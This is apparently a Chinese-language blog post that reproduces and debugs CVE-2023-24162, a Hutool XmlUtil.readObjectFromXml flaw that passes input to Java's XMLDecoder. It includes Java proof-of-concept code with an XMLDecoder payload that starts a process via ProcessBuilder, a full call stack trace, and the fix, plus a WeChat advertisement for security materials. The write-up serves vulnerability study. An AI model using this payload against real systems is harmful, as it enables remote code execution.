hutool XML反序列化漏洞(CVE-2023-24162)

漏洞簡介

  Hutool 中的XmlUtil.readObjectFromXml方法直接封裝調用XMLDecoder.readObject解析xml數據,當使用 readObjectFromXml 去處理惡意的 XML 字符串時會造成任意代碼執行。

漏洞復現

  我們在 maven 倉庫中查找 Hutool

  ​https://mvnrepository.com/search?q=Hutool

  ​image

  ​image

  把依賴複製出來,添加到項目的 pom.xml 文件中

<!-- https://mvnrepository.com/artifact/cn.hutool/hutool-all -->
<dependency>
    <groupId>cn.hutool</groupId>
    <artifactId>hutool-all</artifactId>
    <version>5.8.11</version>
</dependency>

  添加完成後刷新一下 maven 依賴

  我們編寫代碼

import cn.hutool.core.util.XmlUtil;
public class Test {
    public static void main(String[] args)  {
        XmlUtil.readObjectFromXml("<java>\n" +
                "    <object class=\"java.lang.ProcessBuilder\">\n" +
                "        <array class=\"java.lang.String\" length=\"1\">\n" +
                "            <void index=\"0\">\n" +
                "                <string>calc</string>\n" +
                "            </void>\n" +
                "        </array>\n" +
                "        <void method=\"start\"></void>\n" +
                "    </object>\n" +
                "</java>\n");
    }
}

  ​5

  在項目目錄下創建一個 bean.xml​ 文件,將 xml 放在文件中,構造代碼也可以觸發

import cn.hutool.core.util.XmlUtil;
import java.io.File;
​
public class Test {
    public static void main(String[] args)  {
        File file = new File("bean.xml");
        XmlUtil.readObjectFromXml(file);
    }
}

  ​6

漏洞分析

  整個漏洞分析下來相對來時是比較簡單的,但是深入搞清楚 XML 反序列化的原理需要花費不小的功夫

  ​cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)

  ​image

  當然這個地方也是可以通過讀取文件來實現的

  ​cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)

  ​image

  ​cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)

  ​image

  ​java.beans.XMLDecoder#readObject

  ​image

  漏洞本質上是 java 原生方法中的漏洞,XMLDecoder.readObject 。所以不去調用 hutool-all 中的 readObjectFromXml​ 方法 就可以避免這個漏洞的產生。

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

漏洞修復

  在最新版的 hutool-all 沒有用黑名單,而是直接移除了 readObjectFromXml​ 方法,簡單粗暴。

  ​image

XMLDecoder.readObject

<java>
 <object class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="1">
    <void index="0"><string>calc</string></void>
  </array>
  <void method="start"></void>
 </object>
</java>

  object 標籤,class 的值對應着實例化的全類名(java.lang.ProcessBuilder)

  array 標籤,class 的值對應着實例化的全類名對象構造的參數(ProcessBuilder 對象的構造參數)

  void 標籤,method 的值對應着 method 的參數 (start)

  最後相當於執行了

new java.lang.ProcessBuilder(new String[]{"calc"}).start();

  ‍

  爲了方便看到整個調用聯的流程,我們在觸發漏洞的位置加上斷點,分析其中經過了那些處理

  ​java.lang.ProcessBuilder#start

  ​image

  ‍

start:1007, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
invokeInternal:292, Statement (java.beans)
access$000:58, Statement (java.beans)
run:185, Statement$2 (java.beans)
doPrivileged:-1, AccessController (java.security)
invoke:182, Statement (java.beans)
getValue:155, Expression (java.beans)
getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:318, DocumentHandler (com.sun.beans.decoder)
endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanEndElement:1782, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2967, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:375, DocumentHandler$1 (com.sun.beans.decoder)
run:372, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:74, ProtectionDomain$JavaSecurityAccessImpl (java.security)
parse:372, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
main:20, xmldecode (xml)

  ‍

  比較關鍵的處理邏輯是在 com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument​開始對 xml 進行解析

  ​image

  ‍

  先簡單描述一下我的理解,然後再截圖與之相對應,可能部分理解並不完全正確

  根據 xml 文件的中的標識來識別開始還是結束 <​ 對應着開始,</​ 對應着結束

  解析時會調用相對應的 Handler 進行處理,Handler 在 DocumentHandler.class​ 中被定義,通過節點名獲取對應的handler

  解析到結束標識時會調用到相對應的 Handler 中的 getValueObject​ 方法 最後實現命令執行(這裏描述比較簡單,後面根據代碼在詳細描述)

  ‍

  ​com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument

  ​image

  這裏是一個 do while 的循環 直到匹配到結束標識 XMLStreamConstants.END_DOCUMENT

  ‍

  ​com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next

  ​image

  ​com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.XMLDeclDriver#next

  ​image

  ‍

  ​com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.PrologDriver#next

  ​image

  ​com.sun.beans.decoder.DocumentHandler#DocumentHandler

  ​image

  對應的 Handler 是根據節點返回的,最主要的漏洞觸發位置應該是endElement​ 中

  ​com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#endElement

  ​image

  ​com.sun.beans.decoder.DocumentHandler#endElement

  ​image

  調用 StringElementHandler​ 對應的 endElement​ 方法 ,StringElementHandler​ 沒有這個方法,調用其父類 ElementHandler​ 中 endElement

  ​image

  ​com.sun.beans.decoder.ElementHandler#endElement

  ​image​​

  ​com.sun.beans.decoder.StringElementHandler#getValueObject

  ​image

  最後返回獲取到的值是 calc​ 添加到其父類對應的 Argument​ 屬性

  ​com.sun.beans.decoder.NewElementHandler#addArgument

  ​image

  接着將 handler​ 指向上一級的 handler​ VoidElementHandler

  調用 VoidElementHandler​ 對應的 endElement​ 方法 ,VoidElementHandler​ 沒有這個方法,調用其父類 ObjectElementHandler​ 的父類NewElementHandler ​​ 的父類 ElementHandler​ 中 endElement

  ​com.sun.beans.decoder.ElementHandler#endElement

  ​image

  ​com.sun.beans.decoder.NewElementHandler#getValueObject()image

  ​com.sun.beans.decoder.ObjectElementHandler#getValueObject

  ​image

  執行完後又有一個 <void method="start"></void>

  調試返回的結果

  ​com.sun.beans.decoder.DocumentHandler#endElement

  ​image

  ​com.sun.beans.decoder.ElementHandler#endElement

  ​image

  ​com.sun.beans.decoder.NewElementHandler#getValueObject()

  ​image

  ​com.sun.beans.decoder.ObjectElementHandler#getValueObject

  ​image

  ​com.sun.beans.decoder.NewElementHandler#getContextBean

  ​image

  ​com.sun.beans.decoder.ElementHandler#getContextBean

  ​image

  ​com.sun.beans.decoder.NewElementHandler#getValueObject()

  ​image

  ​com.sun.beans.decoder.ObjectElementHandler#getValueObject

  ​image

  ​com.sun.beans.decoder.NewElementHandler#getContextBean

  ​image

  ​com.sun.beans.decoder.ObjectElementHandler#getValueObject

  ​image

  ​com.sun.beans.decoder.NewElementHandler#getValueObject()

  ​image

  ​com.sun.beans.decoder.ElementHandler#getContextBean

  ​image

  ​com.sun.beans.decoder.NewElementHandler#getContextBean

  ​image

  ​

  繼續執行,最終觸發命令執行

  ​com.sun.beans.decoder.ObjectElementHandler#getValueObject

  ​image

  後一部分很像套娃

  ​image

  整個過程冗長繁瑣,建議自己調試分析一下,可能瞭解的更加清楚。

更多靶場實驗練習、網安學習資料,請點擊這裏>>

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章